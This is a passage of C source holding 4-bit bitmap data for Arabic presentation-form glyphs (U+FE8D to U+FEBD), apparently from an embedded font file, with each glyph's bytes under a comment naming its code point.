0x0, 0x8c, 0x50, 0x0, 0xc0, 0x0, 0x0, 0xcb,
0x70, 0x0, 0x73, 0x0, 0x0, 0x0, 0x0, 0x0,
0x4b, 0x0, 0x0, 0x6f, 0x10, 0x0, 0x7f, 0x20,
0x17, 0xef, 0xc7, 0x2f, 0xc8, 0xef,
/* U+FE8D "ﺍ" */
0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f,
0x7f, 0x7f, 0x7f, 0x7f,
/* U+FE8E "ﺎ" */
0x7f, 0x0, 0x7, 0xf0, 0x0, 0x7f, 0x0, 0x7,
0xf0, 0x0, 0x7f, 0x0, 0x7, 0xf0, 0x0, 0x7f,
0x0, 0x7, 0xf0, 0x0, 0x7f, 0x0, 0x6, 0xf0,
0x0, 0x3f, 0xb7, 0x0, 0x7e, 0xf0,
/* U+FE8F "ﺏ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x5, 0x5b, 0xb0,
0x0, 0x0, 0x0, 0x0, 0x9c, 0xf7, 0x0, 0x0,
0x0, 0x0, 0xc, 0xbd, 0xb0, 0x0, 0x0, 0x0,
0x2a, 0xf4, 0x5f, 0xd8, 0x66, 0x8a, 0xdf, 0xe5,
0x0, 0x3a, 0xef, 0xfe, 0xc9, 0x50, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x89, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x10,
0x0, 0x0, 0x0,
/* U+FE90 "ﺐ" */
0xbb, 0x0, 0x0, 0x0, 0x0, 0x9, 0xc0, 0xf,
0x70, 0x0, 0x0, 0x0, 0x0, 0xae, 0x0, 0xdb,
0x0, 0x0, 0x0, 0x2, 0xaf, 0xf1, 0x5, 0xfe,
0x97, 0x78, 0xad, 0xfe, 0x7f, 0xc6, 0x3, 0xae,
0xff, 0xec, 0x95, 0x0, 0x4e, 0xd0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x89,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x10,
0x0, 0x0, 0x0, 0x0,
/* U+FE91 "ﺑ" */
0x0, 0x38, 0x0, 0x6, 0xf1, 0x0, 0x7f, 0x1,
0x7e, 0xc0, 0x2f, 0xd3, 0x0, 0x0, 0x0, 0x0,
0x3e, 0x0, 0x0, 0x20,
/* U+FE92 "ﺒ" */
0x0, 0x38, 0x0, 0x0, 0x6f, 0x10, 0x0, 0x7f,
0x20, 0x17, 0xef, 0xc7, 0x2f, 0xc8, 0xef, 0x0,
0x0, 0x0, 0x0, 0x3e, 0x0, 0x0, 0x2, 0x0,
/* U+FE93 "ﺓ" */
0xf, 0x3f, 0x10, 0x0, 0x20, 0x20, 0x0, 0x0,
0x10, 0x0, 0x2, 0xef, 0xd5, 0x0, 0xae, 0x5a,
0xf7, 0xd, 0x90, 0x7, 0xf1, 0xe8, 0x0, 0x3f,
0x3b, 0xe6, 0x6d, 0xe0, 0x2b, 0xfe, 0x91, 0x0,
/* U+FE94 "ﺔ" */
0x4, 0xe4, 0xd0, 0x0, 0x0, 0x20, 0x20, 0x0,
0x0, 0x3, 0xb1, 0x0, 0x4, 0xcf, 0xf3, 0x0,
0x5f, 0x82, 0xf6, 0x0, 0xc9, 0x0, 0xda, 0x0,
0xae, 0xbd, 0xff, 0x85, 0x4, 0x75, 0x8, 0xfb,
/* U+FE95 "ﺕ" */
0x0, 0x0, 0x8a, 0x99, 0x0, 0x0, 0x5, 0x70,
0x1, 0x11, 0x10, 0x0, 0x9c, 0xe8, 0x0, 0x0,
0x0, 0x0, 0xb, 0xce, 0xa0, 0x0, 0x0, 0x0,
0x7, 0xf7, 0x7f, 0xd8, 0x66, 0x79, 0xcf, 0xf8,
0x0, 0x4a, 0xef, 0xfe, 0xc9, 0x61, 0x0,
/* U+FE96 "ﺖ" */
0x0, 0x0, 0x8a, 0x99, 0x0, 0x0, 0x0, 0x5,
0x70, 0x1, 0x11, 0x10, 0x0, 0x9c, 0x0, 0xe8,
0x0, 0x0, 0x0, 0x0, 0xa, 0xe0, 0xe, 0xa0,
0x0, 0x0, 0x0, 0x2a, 0xff, 0x10, 0x7f, 0xd9,
0x77, 0x8a, 0xdf, 0xf8, 0xfc, 0x60, 0x4a, 0xef,
0xfe, 0xca, 0x51, 0x4, 0xed,
/* U+FE97 "ﺗ" */
0x3, 0xf4, 0xe0, 0x2, 0x2, 0x0, 0x0, 0x0,
0x4, 0xc0, 0x0, 0x6f, 0x0, 0x7, 0xf0, 0x18,
0xec, 0x2, 0xfc, 0x20,
/* U+FE98 "ﺘ" */
0x3, 0xf4, 0xe0, 0x0, 0x20, 0x20, 0x0, 0x0,
0x0, 0x0, 0x4c, 0x0, 0x0, 0x6f, 0x10, 0x0,
0x7f, 0x20, 0x18, 0xef, 0xc7, 0x2f, 0xc8, 0xef,
/* U+FE99 "ﺙ" */
0x0, 0x0, 0x8, 0x90, 0x0, 0x0, 0x0, 0x0,
0x0, 0x11, 0x0, 0x0, 0x0, 0x0, 0x0, 0x8a,
0x99, 0x0, 0x0, 0x5, 0x70, 0x1, 0x11, 0x10,
0x0, 0x9c, 0xe8, 0x0, 0x0, 0x0, 0x0, 0xb,
0xce, 0xa0, 0x0, 0x0, 0x0, 0x7, 0xf7, 0x7f,
0xd8, 0x66, 0x79, 0xcf, 0xf8, 0x0, 0x4a, 0xef,
0xfe, 0xc9, 0x61, 0x0,
/* U+FE9A "ﺚ" */
0x0, 0x0, 0x8, 0x90, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x11, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x8a, 0x99, 0x0, 0x0, 0x0, 0x5, 0x70,
0x1, 0x11, 0x10, 0x0, 0x9c, 0x0, 0xe8, 0x0,
0x0, 0x0, 0x0, 0xa, 0xe0, 0xe, 0xa0, 0x0,
0x0, 0x0, 0x2a, 0xff, 0x10, 0x7f, 0xd9, 0x77,
0x8a, 0xdf, 0xf8, 0xfc, 0x60, 0x4a, 0xef, 0xfe,
0xca, 0x51, 0x4, 0xed,
/* U+FE9B "ﺛ" */
0x0, 0x3e, 0x0, 0x0, 0x20, 0x3, 0xf4, 0xe0,
0x2, 0x2, 0x0, 0x0, 0x0, 0x4, 0xc0, 0x0,
0x6f, 0x0, 0x7, 0xf0, 0x18, 0xec, 0x2, 0xfc,
0x20,
/* U+FE9C "ﺜ" */
0x0, 0x3e, 0x0, 0x0, 0x2, 0x0, 0x3, 0xf4,
0xe0, 0x0, 0x20, 0x20, 0x0, 0x0, 0x0, 0x0,
0x4c, 0x0, 0x0, 0x6f, 0x10, 0x0, 0x7f, 0x20,
0x18, 0xef, 0xc7, 0x2f, 0xc8, 0xef,
/* U+FE9D "ﺝ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x7c, 0xff, 0xff,
0xd8, 0x0, 0x98, 0x5b, 0xfe, 0xb6, 0x0, 0x0,
0xbf, 0x70, 0x0, 0x0, 0x7, 0xf4, 0x0, 0x0,
0x0, 0xf, 0x80, 0x0, 0x0, 0x0, 0x4f, 0x20,
0x2, 0x0, 0x0, 0x6f, 0x0, 0xf, 0x30, 0x0,
0x5f, 0x20, 0x0, 0x0, 0x0, 0x1f, 0x90, 0x0,
0x0, 0x0, 0x7, 0xfa, 0x41, 0x14, 0xa4, 0x0,
0x5d, 0xff, 0xff, 0xc2, 0x0, 0x0, 0x13, 0x31,
0x0,
/* U+FE9E "ﺞ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x7c, 0xff, 0xff,
0xd8, 0x0, 0x98, 0x6b, 0xff, 0xe6, 0x0, 0x0,
0xcf, 0x78, 0xe0, 0x0, 0xa, 0xe2, 0x1, 0xf4,
0x0, 0x2f, 0x60, 0x0, 0x9c, 0x0, 0x5f, 0x10,
0x11, 0x1e, 0xc3, 0x6f, 0x10, 0x8a, 0x3, 0xd7,
0x2f, 0x70, 0x0, 0x0, 0x0, 0x9, 0xf9, 0x31,
0x13, 0x83, 0x0, 0x7d, 0xff, 0xff, 0xc2, 0x0,
0x0, 0x13, 0x31, 0x0,
/* U+FE9F "ﺟ" */
0x0, 0x12, 0x10, 0x0, 0x0, 0x0, 0xcf, 0xfe,
0xb7, 0x20, 0x0, 0x45, 0x68, 0xbe, 0xf9, 0x0,
0x0, 0x0, 0x6e, 0xe6, 0x0, 0x0, 0x1a, 0xf9,
0x0, 0x17, 0x8a, 0xfe, 0x40, 0x0, 0x2f, 0xec,
0x71, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0xe, 0x40, 0x0, 0x0, 0x0, 0x2,
0x0, 0x0,
/* U+FEA0 "ﺠ" */
0x0, 0x12, 0x10, 0x0, 0x0, 0x0, 0x0, 0xcf,
0xfe, 0xb7, 0x20, 0x0, 0x0, 0x45, 0x68, 0xbe,
0xf9, 0x0, 0x0, 0x0, 0x0, 0x6e, 0xe6, 0x0,
0x0, 0x0, 0x1a, 0xfd, 0xf2, 0x0, 0x17, 0x8a,
0xfe, 0x41, 0xef, 0x83, 0x2f, 0xec, 0x71, 0x0,
0x2b, 0xf7, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0xe, 0x40, 0x0, 0x0, 0x0, 0x0,
0x2, 0x0, 0x0, 0x0,
/* U+FEA1 "ﺡ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x9e, 0xed, 0xff,
0xe9, 0x0, 0x41, 0x3d, 0xe8, 0x41, 0x0, 0x3,
0xfa, 0x0, 0x0, 0x0, 0xc, 0xc0, 0x0, 0x0,
0x0, 0x3f, 0x30, 0x0, 0x0, 0x0, 0x6f, 0x0,
0x0, 0x0, 0x0, 0x5f, 0x10, 0x0, 0x0, 0x0,
0x1f, 0x80, 0x0, 0x0, 0x0, 0x8, 0xf9, 0x31,
0x14, 0x94, 0x0, 0x6d, 0xff, 0xff, 0xc2, 0x0,
0x0, 0x13, 0x31, 0x0,
/* U+FEA2 "ﺢ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x7c, 0xff, 0xff,
0xd8, 0x0, 0x98, 0x5b, 0xff, 0xe6, 0x0, 0x0,
0xbf, 0x78, 0xe0, 0x0, 0x7, 0xf4, 0x1, 0xf4,
0x0, 0xf, 0x80, 0x0, 0x9c, 0x0, 0x4f, 0x20,
0x0, 0x1e, 0xc3, 0x6f, 0x0, 0x0, 0x3, 0xd7,
0x5f, 0x20, 0x0, 0x0, 0x0, 0x1f, 0x90, 0x0,
0x0, 0x0, 0x7, 0xfa, 0x41, 0x14, 0xa4, 0x0,
0x5d, 0xff, 0xff, 0xc2, 0x0, 0x0, 0x13, 0x31,
0x0,
/* U+FEA3 "ﺣ" */
0x0, 0x12, 0x10, 0x0, 0x0, 0x0, 0xcf, 0xfe,
0xb7, 0x20, 0x0, 0x45, 0x68, 0xbe, 0xf9, 0x0,
0x0, 0x0, 0x6e, 0xe6, 0x0, 0x0, 0x1a, 0xf9,
0x0, 0x17, 0x8a, 0xfe, 0x40, 0x0, 0x2f, 0xec,
0x71, 0x0, 0x0,
/* U+FEA4 "ﺤ" */
0x0, 0x12, 0x10, 0x0, 0x0, 0x0, 0x0, 0xcf,
0xfe, 0xb7, 0x20, 0x0, 0x0, 0x45, 0x68, 0xbe,
0xf9, 0x0, 0x0, 0x0, 0x0, 0x6e, 0xe6, 0x0,
0x0, 0x0, 0x1a, 0xfd, 0xf2, 0x0, 0x17, 0x8a,
0xfe, 0x41, 0xef, 0x83, 0x2f, 0xec, 0x71, 0x0,
0x2b, 0xf7,
/* U+FEA5 "ﺥ" */
0x0, 0x7, 0xa0, 0x0, 0x0, 0x0, 0x1, 0x10,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x9e,
0xed, 0xff, 0xe9, 0x0, 0x41, 0x3d, 0xe8, 0x41,
0x0, 0x3, 0xfa, 0x0, 0x0, 0x0, 0xc, 0xc0,
0x0, 0x0, 0x0, 0x3f, 0x30, 0x0, 0x0, 0x0,
0x6f, 0x0, 0x0, 0x0, 0x0, 0x5f, 0x10, 0x0,
0x0, 0x0, 0x1f, 0x80, 0x0, 0x0, 0x0, 0x8,
0xf9, 0x31, 0x14, 0x94, 0x0, 0x6d, 0xff, 0xff,
0xc2, 0x0, 0x0, 0x13, 0x31, 0x0,
/* U+FEA6 "ﺦ" */
0x0, 0x7, 0xa0, 0x0, 0x0, 0x0, 0x1, 0x20,
0x0, 0x0, 0x7c, 0xff, 0xff, 0xd8, 0x0, 0x98,
0x5b, 0xff, 0xe6, 0x0, 0x0, 0xbf, 0x78, 0xe0,
0x0, 0x7, 0xf4, 0x1, 0xf4, 0x0, 0xf, 0x80,
0x0, 0x9c, 0x0, 0x4f, 0x20, 0x0, 0x1e, 0xc3,
0x6f, 0x0, 0x0, 0x3, 0xd7, 0x5f, 0x20, 0x0,
0x0, 0x0, 0x1f, 0x90, 0x0, 0x0, 0x0, 0x7,
0xfa, 0x41, 0x14, 0xa4, 0x0, 0x5d, 0xff, 0xff,
0xc2, 0x0, 0x0, 0x13, 0x31, 0x0,
/* U+FEA7 "ﺧ" */
0x0, 0x0, 0xe, 0x40, 0x0, 0x0, 0x0, 0x2,
0x0, 0x0, 0x0, 0x12, 0x10, 0x0, 0x0, 0x0,
0xcf, 0xfe, 0xb7, 0x20, 0x0, 0x45, 0x68, 0xbe,
0xf9, 0x0, 0x0, 0x0, 0x6e, 0xe6, 0x0, 0x0,
0x1a, 0xf9, 0x0, 0x17, 0x8a, 0xfe, 0x40, 0x0,
0x2f, 0xec, 0x71, 0x0, 0x0,
/* U+FEA8 "ﺨ" */
0x0, 0x0, 0xe, 0x40, 0x0, 0x0, 0x0, 0x0,
0x2, 0x0, 0x0, 0x0, 0x0, 0x12, 0x10, 0x0,
0x0, 0x0, 0x0, 0xcf, 0xfe, 0xb7, 0x20, 0x0,
0x0, 0x45, 0x68, 0xbe, 0xf9, 0x0, 0x0, 0x0,
0x0, 0x6e, 0xe6, 0x0, 0x0, 0x0, 0x1a, 0xfd,
0xf2, 0x0, 0x17, 0x8a, 0xfe, 0x41, 0xef, 0x83,
0x2f, 0xec, 0x71, 0x0, 0x2b, 0xf7,
/* U+FEA9 "ﺩ" */
0x0, 0x2e, 0xa0, 0x0, 0x0, 0x3f, 0x70, 0x0,
0x0, 0x9e, 0x0, 0x0, 0x5, 0xf2, 0x0, 0x0,
0x7f, 0x10, 0x96, 0xaf, 0xb0, 0xd, 0xfe, 0x90,
0x0,
/* U+FEAA "ﺪ" */
0x0, 0x2e, 0xa0, 0x0, 0x0, 0x0, 0x3f, 0x60,
0x0, 0x0, 0x0, 0x9d, 0x0, 0x0, 0x0, 0x5,
0xf2, 0x0, 0x0, 0x0, 0x7f, 0x60, 0x0, 0x66,
0xaf, 0xef, 0x83, 0xf, 0xfe, 0x80, 0xaf, 0x90,
/* U+FEAB "ﺫ" */
0x0, 0x7b, 0x0, 0x0, 0x1, 0x10, 0x0, 0x0,
0x13, 0x0, 0x0, 0x1, 0xdc, 0x0, 0x0, 0x2,
0xf8, 0x0, 0x0, 0x8, 0xe0, 0x0, 0x0, 0x4f,
0x20, 0x0, 0x8, 0xf1, 0x9, 0x7a, 0xfb, 0x0,
0xdf, 0xe8, 0x0,
/* U+FEAC "ﺬ" */
0x0, 0x7b, 0x0, 0x0, 0x0, 0x1, 0x10, 0x0,
0x0, 0x0, 0x12, 0x0, 0x0, 0x0, 0x1, 0xdb,
0x0, 0x0, 0x0, 0x2, 0xf6, 0x0, 0x0, 0x0,
0x9, 0xe0, 0x0, 0x0, 0x0, 0x4f, 0x20, 0x0,
0x0, 0x8, 0xf6, 0x0, 0x6, 0x6a, 0xfe, 0xf8,
0x30, 0xff, 0xe8, 0xa, 0xf9,
/* U+FEAD "ﺭ" */
0x0, 0x0, 0x0, 0xa5, 0x0, 0x0, 0x0, 0xba,
0x0, 0x0, 0x0, 0xab, 0x0, 0x0, 0x0, 0xca,
0x0, 0x0, 0x3, 0xf6, 0x0, 0x0, 0x4e, 0xd0,
0x14, 0x6c, 0xfd, 0x20, 0xaf, 0xfc, 0x60, 0x0,
0x33, 0x10, 0x0, 0x0,
/* U+FEAE "ﺮ" */
0x0, 0x0, 0x0, 0x73, 0x0, 0x0, 0x0, 0x0,
0xc9, 0x0, 0x0, 0x0, 0x0, 0xad, 0x0, 0x0,
0x0, 0x0, 0xbf, 0xb7, 0x0, 0x0, 0x0, 0xed,
0xef, 0x0, 0x0, 0x6, 0xf3, 0x0, 0x0, 0x0,
0x6f, 0xb0, 0x0, 0x13, 0x6c, 0xfb, 0x0, 0x0,
0xaf, 0xfb, 0x50, 0x0, 0x0, 0x33, 0x0, 0x0,
0x0, 0x0,
/* U+FEAF "ﺯ" */
0x0, 0x0, 0x1, 0xf0, 0x0, 0x0, 0x0, 0x20,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xc7,
0x0, 0x0, 0x0, 0xbb, 0x0, 0x0, 0x0, 0xab,
0x0, 0x0, 0x0, 0xda, 0x0, 0x0, 0x4, 0xf5,
0x0, 0x0, 0x4f, 0xd0, 0x14, 0x6c, 0xfd, 0x20,
0xaf, 0xfc, 0x60, 0x0, 0x33, 0x10, 0x0, 0x0,
/* U+FEB0 "ﺰ" */
0x0, 0x0, 0x1, 0xf0, 0x0, 0x0, 0x0, 0x0,
0x20, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0xe8, 0x0, 0x0, 0x0, 0x0, 0xbd,
0x0, 0x0, 0x0, 0x0, 0xaf, 0xa7, 0x0, 0x0,
0x0, 0xdd, 0xef, 0x0, 0x0, 0x5, 0xf3, 0x0,
0x0, 0x0, 0x4f, 0xb0, 0x0, 0x13, 0x6b, 0xfb,
0x0, 0x0, 0xaf, 0xfb, 0x50, 0x0, 0x0, 0x33,
0x0, 0x0, 0x0, 0x0,
/* U+FEB1 "ﺱ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x3,
0xf3, 0x0, 0x0, 0x0, 0xd, 0x90, 0x4, 0xf2,
0x3, 0xf3, 0x0, 0x0, 0x0, 0x9, 0xd0, 0x6,
0xf3, 0x4, 0xf3, 0x5f, 0x10, 0x0, 0x6, 0xf3,
0xa, 0xf8, 0x6, 0xf1, 0xcb, 0x0, 0x0, 0x6,
0xfe, 0xbf, 0xcf, 0xbf, 0xc0, 0xe8, 0x0, 0x0,
0x9, 0xfc, 0xfa, 0x1a, 0xfb, 0x10, 0xf8, 0x0,
0x0, 0x3f, 0xa0, 0x0, 0x0, 0x0, 0x0, 0xbe,
0x52, 0x27, 0xfe, 0x20, 0x0, 0x0, 0x0, 0x0,
0x2d, 0xff, 0xff, 0xb2, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x24, 0x41, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0,
/* U+FEB2 "ﺲ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x3,
0xf3, 0x0, 0x0, 0x0, 0x0, 0x7, 0x40, 0x2,
0x81, 0x3, 0xf3, 0x0, 0x0, 0x0, 0x0, 0xb,
0xb0, 0x5, 0xf2, 0x4, 0xf3, 0x0, 0x5f, 0x10,
0x0, 0x7, 0xf1, 0x8, 0xf6, 0x5, 0xf6, 0x0,
0xbc, 0x0, 0x0, 0x5, 0xfc, 0x8f, 0xde, 0x7d,
0xff, 0x83, 0xd9, 0x0, 0x0, 0x6, 0xfd, 0xfa,
0x1b, 0xfc, 0x6c, 0xf9, 0xf7, 0x0, 0x0, 0xa,
0xc0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xe8, 0x0,
0x0, 0x4f, 0x60, 0x0, 0x0, 0x0, 0x0, 0x0,
0x9f, 0x63, 0x27, 0xfb, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x1b, 0xff, 0xff, 0x90, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x13, 0x41, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
/* U+FEB3 "ﺳ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x5, 0xf1, 0x0,
0x6, 0x40, 0x3, 0x80, 0x5, 0xf1, 0x0, 0xd,
0x90, 0x7, 0xf0, 0x6, 0xf1, 0x0, 0xf, 0xd0,
0xa, 0xf4, 0x7, 0xf0, 0x17, 0xcf, 0xfa, 0x9f,
0xee, 0x7e, 0xa0, 0x2f, 0xe6, 0x7e, 0xe9, 0x2c,
0xfa, 0x10,
/* U+FEB4 "ﺴ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x5, 0xf1, 0x0,
0x0, 0xd, 0x90, 0x6, 0xf0, 0x5, 0xf1, 0x0,
0x0, 0xd, 0xa0, 0x8, 0xf1, 0x6, 0xf1, 0x0,
0x0, 0x2f, 0xe0, 0xc, 0xf6, 0x8, 0xf6, 0x0,
0x1b, 0xef, 0xfd, 0xdf, 0xcf, 0xbf, 0xff, 0xb4,
0x2f, 0xe4, 0x4e, 0xe8, 0x1b, 0xfa, 0x3c, 0xf7,
/* U+FEB5 "ﺵ" */
0x0, 0x0, 0x0, 0x0, 0x3, 0xe0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x20, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x3e, 0x4e,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x2,
0x2, 0x0, 0x1, 0x61, 0x0, 0x0, 0x0, 0x2,
0x10, 0x0, 0x20, 0x3, 0xf3, 0x0, 0x0, 0x0,
0xc, 0x90, 0x5, 0xf2, 0x3, 0xf3, 0x1, 0x0,
0x0, 0x8, 0xd0, 0x6, 0xf3, 0x4, 0xf2, 0x6f,
0x10, 0x0, 0x6, 0xf3, 0xa, 0xf9, 0x7, 0xf1,
0xca, 0x0, 0x0, 0x6, 0xff, 0xbf, 0xcf, 0xbf,
0xb0, 0xe8, 0x0, 0x0, 0xa, 0xfc, 0xfa, 0x1a,
0xfb, 0x10, 0xe8, 0x0, 0x0, 0x4f, 0xa0, 0x0,
0x0, 0x0, 0x0, 0xbe, 0x52, 0x27, 0xfe, 0x20,
0x0, 0x0, 0x0, 0x0, 0x2d, 0xff, 0xff, 0xb2,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x24, 0x41,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
/* U+FEB6 "ﺶ" */
0x0, 0x0, 0x0, 0x0, 0x3, 0xe0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x20,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x3e, 0x4e, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x2, 0x2, 0x0, 0x1, 0x81, 0x0,
0x0, 0x0, 0x0, 0x6, 0x30, 0x1, 0x61, 0x3,
0xf3, 0x0, 0x0, 0x0, 0x0, 0xb, 0xb0, 0x5,
0xf2, 0x3, 0xf3, 0x0, 0x2a, 0x10, 0x0, 0x7,
0xf1, 0x8, 0xf6, 0x5, 0xf5, 0x0, 0x9d, 0x0,
0x0, 0x5, 0xfc, 0x8f, 0xee, 0x7d, 0xfe, 0x73,
0xd9, 0x0, 0x0, 0x6, 0xfd, 0xfb, 0x1b, 0xfc,
0x6c, 0xf9, 0xf7, 0x0, 0x0, 0xa, 0xc0, 0x0,
0x0, 0x0, 0x0, 0x0, 0xe8, 0x0, 0x0, 0x4f,
0x60, 0x0, 0x0, 0x0, 0x0, 0x0, 0xaf, 0x63,
0x27, 0xfb, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x1c, 0xff, 0xff, 0x90, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x13, 0x41, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0,
/* U+FEB7 "ﺷ" */
0x0, 0x0, 0x0, 0xe, 0x30, 0x0, 0x0, 0x0,
0x0, 0x0, 0x2, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0xe3, 0xf3, 0x0, 0x0, 0x0, 0x0, 0x0,
0x20, 0x20, 0x2, 0x80, 0x0, 0x5, 0x40, 0x2,
0x60, 0x5, 0xf1, 0x0, 0xd, 0x90, 0x7, 0xf0,
0x5, 0xf1, 0x0, 0xf, 0xd0, 0xa, 0xf4, 0x7,
0xf0, 0x17, 0xcf, 0xfa, 0x9f, 0xee, 0x7e, 0xb0,
0x2f, 0xe6, 0x7e, 0xe9, 0x2c, 0xfb, 0x10,
/* U+FEB8 "ﺸ" */
0x0, 0x0, 0x0, 0xe, 0x30, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x2, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0xe3, 0xf3, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x20, 0x20, 0x2, 0x60, 0x0,
0x0, 0x2, 0x10, 0x1, 0x20, 0x5, 0xf1, 0x0,
0x0, 0xd, 0x90, 0x7, 0xf0, 0x5, 0xf1, 0x0,
0x0, 0xd, 0xa0, 0x8, 0xf1, 0x6, 0xf1, 0x0,
0x0, 0x2f, 0xe1, 0xc, 0xf7, 0x9, 0xf7, 0x0,
0x1b, 0xef, 0xfd, 0xcf, 0xcf, 0xbf, 0xff, 0xb4,
0x2f, 0xe4, 0x4e, 0xe8, 0x1b, 0xfa, 0x3c, 0xf7,
/* U+FEB9 "ﺹ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0xaf,
0xfc, 0x30, 0x0, 0x0, 0x0, 0x0, 0x0, 0x3e,
0xd6, 0x5c, 0xe0, 0x0, 0x0, 0x0, 0xa, 0x43,
0xfb, 0x0, 0x5, 0xf1, 0x4e, 0x10, 0x0, 0xc,
0xce, 0xc0, 0x0, 0x2d, 0xf0, 0xac, 0x0, 0x0,
0xa, 0xff, 0x87, 0x8b, 0xff, 0x50, 0xd9, 0x0,
0x0, 0xb, 0xde, 0xff, 0xed, 0x81, 0x0, 0xf7,
0x0, 0x0, 0xd, 0x90, 0x0, 0x0, 0x0, 0x0,
0xe8, 0x0, 0x0, 0x5f, 0x50, 0x0, 0x0, 0x0,
0x0, 0x9f, 0x63, 0x28, 0xfd, 0x0, 0x0, 0x0,
0x0, 0x0, 0x1c, 0xff, 0xff, 0xa1, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x13, 0x41, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0,
/* U+FEBA "ﺺ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1a,
0xff, 0xc3, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x3e, 0xd6, 0x5c, 0xe0, 0x0, 0x0, 0x0, 0x0,
0xa4, 0x3f, 0xb0, 0x0, 0x5f, 0x10, 0x4e, 0x10,
0x0, 0xc, 0xce, 0xc0, 0x0, 0x2d, 0xf0, 0xa,
0xc0, 0x0, 0x0, 0xaf, 0xf8, 0x78, 0xbf, 0xff,
0x95, 0xd9, 0x0, 0x0, 0xb, 0xde, 0xff, 0xed,
0x83, 0xaf, 0xcf, 0x70, 0x0, 0x0, 0xd9, 0x0,
0x0, 0x0, 0x0, 0x0, 0xe8, 0x0, 0x0, 0x5f,
0x50, 0x0, 0x0, 0x0, 0x0, 0x9, 0xf6, 0x32,
0x8f, 0xd0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1c,
0xff, 0xff, 0xa1, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x1, 0x34, 0x10, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0,
/* U+FEBB "ﺻ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x8f, 0xfe, 0x50, 0x0, 0x4,
0x30, 0x1d, 0xf7, 0x4a, 0xf2, 0x0, 0xd, 0xa1,
0xdd, 0x20, 0x1, 0xf5, 0x0, 0x1f, 0xec, 0xe1,
0x0, 0x1a, 0xf3, 0x17, 0xcf, 0xff, 0xa7, 0x8a,
0xff, 0x80, 0x2f, 0xe6, 0x6e, 0xff, 0xfd, 0xa3,
0x0,
/* U+FEBC "ﺼ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x8f, 0xfd, 0x60, 0x0,
0x0, 0x4, 0x30, 0x1d, 0xf7, 0x4a, 0xf2, 0x0,
0x0, 0xd, 0xa1, 0xdd, 0x20, 0x1, 0xf6, 0x0,
0x0, 0x1f, 0xec, 0xe1, 0x0, 0x1a, 0xf4, 0x0,
0x17, 0xcf, 0xff, 0xa7, 0x8a, 0xff, 0xfb, 0x70,
0x2f, 0xe6, 0x6e, 0xff, 0xfd, 0xa4, 0x7e, 0xf0,
/* U+FEBD "ﺽ" */
0x0, 0x0, 0x0, 0x0, 0xe, 0x20, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0xaf,
0xfc, 0x30, 0x0, 0x0, 0x0, 0x0, 0x0, 0x3e,
0xd6, 0x5c, 0xe0, 0x0, 0x0, 0x0, 0xa, 0x43,
0xfb, 0x0, 0x5, 0xf1, 0x4e, 0x10, 0x0, 0xc,
